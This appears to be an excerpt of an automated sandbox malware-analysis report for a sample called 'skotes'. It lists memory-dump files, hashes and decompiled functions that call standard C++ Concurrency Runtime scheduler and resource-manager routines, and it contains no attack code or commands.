                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941603559.0000000000448000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941672810.0000000000449000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941717161.000000000044D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941768718.000000000044F000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941811068.000000000045D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941849555.000000000045E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941892323.000000000045F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941933760.0000000000460000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_150000_skotes.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID:
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID:
                                                                                                                                                                                                                                                                                    • Opcode ID: 6c6169104c1b635113046d642d8ae954b129ce914ef35c825bac94efc3e0dcd1
                                                                                                                                                                                                                                                                                    • Instruction ID: da5d18796d69cd7784146c2f64faf4f54f5c55a5aeea425c9fd63fcdd649140b
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 6c6169104c1b635113046d642d8ae954b129ce914ef35c825bac94efc3e0dcd1
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: E851ADB2E01606CBDB15CF68EC857AEB7F1FB58304F24866AD405EB650D375A990CF90
                                                                                                                                                                                                                                                                                    Function 001826D1 Relevance: 22.7, APIs: 15, Instructions: 231COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • Concurrency::details::WorkSearchContext::PreSearch.LIBCONCRT ref: 001826E3
                                                                                                                                                                                                                                                                                      • Part of subcall function 001824E1: Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00182504
                                                                                                                                                                                                                                                                                    • Concurrency::details::SchedulerBase::PeriodicScan.LIBCONCRT ref: 00182704
                                                                                                                                                                                                                                                                                    • Concurrency::details::WorkSearchContext::CheckPriorityList.LIBCONCRT ref: 00182711
                                                                                                                                                                                                                                                                                    • Concurrency::details::SchedulerBase::GetNextPriorityObject.LIBCMT ref: 0018275F
                                                                                                                                                                                                                                                                                    • Concurrency::details::SchedulerBase::AcquireQuickCacheSlot.LIBCMT ref: 001827E6
                                                                                                                                                                                                                                                                                    • Concurrency::details::WorkSearchContext::QuickSearch.LIBCMT ref: 001827F9
                                                                                                                                                                                                                                                                                    • Concurrency::details::WorkSearchContext::SearchCacheLocal_Runnables.LIBCONCRT ref: 00182846
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2930996247.0000000000151000.00000040.00000001.01000000.00000007.sdmp, Offset: 00150000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930687748.0000000000150000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930996247.00000000001B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933481614.00000000001B9000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933772740.00000000001BB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2934055992.00000000001C7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2935818868.0000000000319000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936119957.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936418149.0000000000334000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936696260.0000000000336000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000337000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000342000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937425229.0000000000344000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937868849.000000000034B000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938083520.000000000035E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938244760.000000000035F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938383938.000000000036E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938523670.000000000036F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938674264.0000000000371000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938873786.0000000000382000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939094883.0000000000395000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939273560.000000000039A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939476219.00000000003A2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939606803.00000000003AE000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939775691.00000000003AF000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939929184.00000000003B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940086269.00000000003BA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940187146.00000000003BF000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940364041.00000000003C8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940499673.00000000003D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940600891.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940725921.00000000003D8000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940876411.00000000003D9000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940972627.00000000003DA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941121415.00000000003F7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.00000000003FB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.000000000041A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941521391.0000000000447000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941603559.0000000000448000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941672810.0000000000449000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941717161.000000000044D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941768718.000000000044F000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941811068.000000000045D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941849555.000000000045E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941892323.000000000045F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941933760.0000000000460000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_150000_skotes.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: Concurrency::details::$Search$Work$Context::$Base::Scheduler$CachePriorityQuick$AcquireCheckItemItem::ListLocal_NextObjectPeriodicRunnablesScanSlot
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 2530155754-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 8eafaa11f8af530bbd61d77c997f6fa3ab553f7d16e5a077c2e1e3f1e1816e06
                                                                                                                                                                                                                                                                                    • Instruction ID: 8286ef6bffce0ed829eb9357982522e94a04c594b3dd9f16ddd87bc3ac8fc0f8
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 8eafaa11f8af530bbd61d77c997f6fa3ab553f7d16e5a077c2e1e3f1e1816e06
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: F181AE34900249AFDF17AF94C951BBE7BB2AF66308F044098ED416B292C7328E56DF61
                                                                                                                                                                                                                                                                                    Function 00182970 Relevance: 16.7, APIs: 11, Instructions: 222COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • Concurrency::details::WorkSearchContext::PreSearch.LIBCONCRT ref: 00182982
                                                                                                                                                                                                                                                                                      • Part of subcall function 001824E1: Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00182504
                                                                                                                                                                                                                                                                                    • Concurrency::details::SchedulerBase::PeriodicScan.LIBCONCRT ref: 001829A3
                                                                                                                                                                                                                                                                                    • Concurrency::details::WorkSearchContext::CheckPriorityList.LIBCONCRT ref: 001829B0
                                                                                                                                                                                                                                                                                    • Concurrency::details::SchedulerBase::GetNextPriorityObject.LIBCMT ref: 001829FE
                                                                                                                                                                                                                                                                                    • Concurrency::details::WorkSearchContext::SearchCacheLocal_Unrealized.LIBCONCRT ref: 00182AA6
                                                                                                                                                                                                                                                                                    • Concurrency::details::WorkSearchContext::SearchCacheLocal_Realized.LIBCONCRT ref: 00182AD8
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2930996247.0000000000151000.00000040.00000001.01000000.00000007.sdmp, Offset: 00150000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930687748.0000000000150000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930996247.00000000001B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933481614.00000000001B9000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933772740.00000000001BB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2934055992.00000000001C7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2935818868.0000000000319000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936119957.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936418149.0000000000334000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936696260.0000000000336000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000337000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000342000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937425229.0000000000344000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937868849.000000000034B000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938083520.000000000035E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938244760.000000000035F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938383938.000000000036E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938523670.000000000036F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938674264.0000000000371000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938873786.0000000000382000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939094883.0000000000395000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939273560.000000000039A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939476219.00000000003A2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939606803.00000000003AE000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939775691.00000000003AF000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939929184.00000000003B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940086269.00000000003BA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940187146.00000000003BF000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940364041.00000000003C8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940499673.00000000003D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940600891.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940725921.00000000003D8000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940876411.00000000003D9000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940972627.00000000003DA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941121415.00000000003F7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.00000000003FB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.000000000041A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941521391.0000000000447000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941603559.0000000000448000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941672810.0000000000449000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941717161.000000000044D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941768718.000000000044F000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941811068.000000000045D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941849555.000000000045E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941892323.000000000045F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941933760.0000000000460000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_150000_skotes.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: Concurrency::details::Search$Work$Context::$Base::CacheLocal_PriorityScheduler$CheckItemItem::ListNextObjectPeriodicRealizedScanUnrealized
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 1256429809-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 4538c86b1f9dfeae3e11cc7bd954ce4334ebec6c1c68e136e04651daa2d21b0e
                                                                                                                                                                                                                                                                                    • Instruction ID: ea53c12751aa1fcbbce3d145270228cfbbe60405ed545504e71dbb46ebee71e7
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 4538c86b1f9dfeae3e11cc7bd954ce4334ebec6c1c68e136e04651daa2d21b0e
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 8F71BF30900249AFDF1AEF94C981BBEBBB2AF55304F044099EC416B252C772DE16DF61
                                                                                                                                                                                                                                                                                    Function 00172832 Relevance: 15.2, APIs: 10, Instructions: 223COMMONLIBRARYCODE
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • Concurrency::details::ResourceManager::GetTopologyInformation.LIBCONCRT ref: 00172876
                                                                                                                                                                                                                                                                                    • Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 001728DF
                                                                                                                                                                                                                                                                                    • Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 00172913
                                                                                                                                                                                                                                                                                      • Part of subcall function 001707ED: Concurrency::details::ResourceManager::AffinityRestriction::ApplyAffinityLimits.LIBCMT ref: 0017080D
                                                                                                                                                                                                                                                                                    • Concurrency::details::ResourceManager::GetTopologyInformation.LIBCONCRT ref: 00172993
                                                                                                                                                                                                                                                                                    • Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 001729DB
                                                                                                                                                                                                                                                                                      • Part of subcall function 001707C2: Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 001707DE
                                                                                                                                                                                                                                                                                    • Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 001729EF
                                                                                                                                                                                                                                                                                    • Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 00172A00
                                                                                                                                                                                                                                                                                    • Concurrency::details::ResourceManager::CleanupTopologyInformation.LIBCMT ref: 00172A4D
                                                                                                                                                                                                                                                                                    • Concurrency::details::ResourceManager::AffinityRestriction::FindGroupAffinity.LIBCONCRT ref: 00172A7E
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2930996247.0000000000151000.00000040.00000001.01000000.00000007.sdmp, Offset: 00150000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930687748.0000000000150000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930996247.00000000001B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933481614.00000000001B9000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933772740.00000000001BB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2934055992.00000000001C7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2935818868.0000000000319000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936119957.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936418149.0000000000334000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936696260.0000000000336000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000337000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000342000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937425229.0000000000344000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937868849.000000000034B000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938083520.000000000035E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938244760.000000000035F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938383938.000000000036E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938523670.000000000036F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938674264.0000000000371000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938873786.0000000000382000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939094883.0000000000395000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939273560.000000000039A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939476219.00000000003A2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939606803.00000000003AE000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939775691.00000000003AF000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939929184.00000000003B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940086269.00000000003BA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940187146.00000000003BF000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940364041.00000000003C8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940499673.00000000003D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940600891.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940725921.00000000003D8000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940876411.00000000003D9000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940972627.00000000003DA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941121415.00000000003F7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.00000000003FB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.000000000041A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941521391.0000000000447000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941603559.0000000000448000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941672810.0000000000449000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941717161.000000000044D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941768718.000000000044F000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941811068.000000000045D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941849555.000000000045E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941892323.000000000045F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941933760.0000000000460000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_150000_skotes.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: Concurrency::details::Manager::Resource$Affinity$Apply$Restrictions$InformationTopology$Restriction::$CleanupFindGroupLimits
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 1321587334-0
                                                                                                                                                                                                                                                                                    • Opcode ID: d0f1bd73c83ce288c29a789d198f9e8650c7a7323f1c6771cf886441ce727d0a
                                                                                                                                                                                                                                                                                    • Instruction ID: dd1cf5e01714420b06cbb75306011c1ee275abfa5386168a328dd773697b0c3c
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: d0f1bd73c83ce288c29a789d198f9e8650c7a7323f1c6771cf886441ce727d0a
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 0181D531A00626DFCB18DFA9D99067DBBF2BF5C304B28812DD549E7A41D7319D82CB90
                                                                                                                                                                                                                                                                                    Function 001769DA Relevance: 15.1, APIs: 10, Instructions: 144COMMONLIBRARYCODE
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 00176A1F
                                                                                                                                                                                                                                                                                    • Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 00176A51
                                                                                                                                                                                                                                                                                    • List.LIBCONCRT ref: 00176A8C
                                                                                                                                                                                                                                                                                    • Concurrency::details::SchedulingRing::GetNextScheduleGroupSegment.LIBCMT ref: 00176A9D
                                                                                                                                                                                                                                                                                    • Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 00176AB9
                                                                                                                                                                                                                                                                                    • List.LIBCONCRT ref: 00176AF4
                                                                                                                                                                                                                                                                                    • Concurrency::details::SchedulingRing::GetNextScheduleGroupSegment.LIBCMT ref: 00176B05
